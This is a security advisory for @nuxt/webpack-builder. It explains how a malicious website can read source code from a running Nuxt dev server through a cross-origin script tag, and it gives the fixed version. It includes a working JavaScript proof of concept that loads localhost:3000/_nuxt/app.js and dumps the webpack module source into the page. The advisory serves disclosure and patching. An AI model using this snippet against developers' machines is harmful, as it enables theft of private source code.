Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Quick fix

GHSA-4gf7-ff8x-hq99 — @nuxt/webpack-builder: upgrade to the fixed version with the command below.

npm install @nuxt/webpack-builder@3.15.3

Details

### Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:3000/_nuxt/app.js">` in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.

### PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run `npm run dev` 1. Open `http://localhost:3000` 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console.

```js const script = document.createElement('script') script.src = 'http://localhost:3000/_nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxt_app) { const moduleList = window.webpackChunknuxt_app[page][1] console.log(moduleList)

for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script) ```

![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-96c9adfd3c85) It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).

### Impact Users using webpack / rspack builder may get the source code stolen by malicious websites.
